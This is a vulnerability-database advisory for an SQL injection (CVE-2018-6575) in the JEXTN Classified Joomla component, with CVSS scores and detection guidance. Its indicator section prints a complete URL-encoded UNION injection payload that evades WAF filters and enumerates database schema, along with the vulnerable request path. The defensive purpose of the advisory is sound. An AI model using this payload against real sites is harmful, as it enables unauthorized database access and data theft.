CVE-2018-6575

published 2018-02-02

CVE-2018-6575: SQL Injection exists in the JEXTN Classified 1.0.0 component for Joomla! via a view=boutique&sid= request.

Priority P2 64 critical 9.8 CVSS 3.0

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

SQL Injection exists in the JEXTN Classified 1.0.0 component for Joomla! via a view=boutique&sid= request.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
jextn	classified	—	—

Detection & IOCs extracted from sources · hover to see the quote

url http://localhost/[PATH]/index.php?option=com_jeclassifieds&view=boutique&sid=[SQL]↗

command %2d%32%38%30%30%27%20%20%2f%2a%21%31%33%33%33%37%55%4e%49%4f%4e%2a%2f%28%2f%2a%21%31%33%33%33%37%53%45%4c%45%43%54%2a%2f%28%31%29%2c%28%32%29%2c%28%53%65%6c%65%63%74%20%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%3a%3d%30%2c%28%73%65%6c%65%63%74%20%63%6f%75%6e%74%28%2a%29%66%72%6f%6d%28%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%29%77%68%65%72%65%40%3a%3d%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%2c%74%61%62%6c%65%5f%6e%61%6d%65%2c%30%78%33%63%36%63%36%39%33%65%2c%32%29%2c%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%2c%30%78%61%33%61%2c%32%29%29%2c%40%2c%32%29%29%2c%28%34%29%2c%28%35%29%2c%28%36%29%2c%28%37%29%2c%28%38%29%2c%28%39%29%2c%28%31%30%29%2c%28%31%31%29%2c%28%31%32%29%2c%28%31%33%29%2c%28%31%34%29%2c%28%31%35%29%2c%28%31%36%29%2c%28%31%37%29%2c%28%31%38%29%2c%28%31%39%29%2c%28%32%30%29%2c%28%32%31%29%2c%28%32%32%29%2c%28%32%33%29%2c%28%32%34%29%2c%28%32%35%29%2c%28%32%36%29%29%2d%2d%20%2d↗

• → Detect SQL injection attempts targeting the Joomla JEXTN Classified component by monitoring HTTP requests containing both 'option=com_jeclassifieds' and 'view=boutique' query parameters with a non-empty or manipulated 'sid' parameter value. ↗
• → The exploit payload (URL-decoded) uses MySQL comment-based UNION injection with version fingerprinting syntax '/*!13337UNION*/' and '/*!13337SELECT*/' to bypass WAF keyword filters — alert on these obfuscated MySQL versioned comment patterns in query strings. ↗
• → The payload targets 'information_schema.columns' to enumerate table and column names — monitor for URL-encoded references to 'information_schema' in the 'sid' parameter of requests to 'index.php?option=com_jeclassifieds'. ↗

• · The exploit was tested against version 1.0.0 only; other versions of JEXTN Classified are not confirmed vulnerable per the available sources. ↗

CVSS provenance

nvd v3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 7.5 HIGH AV:N/AC:L/Au:N/C:P/I:P/A:P

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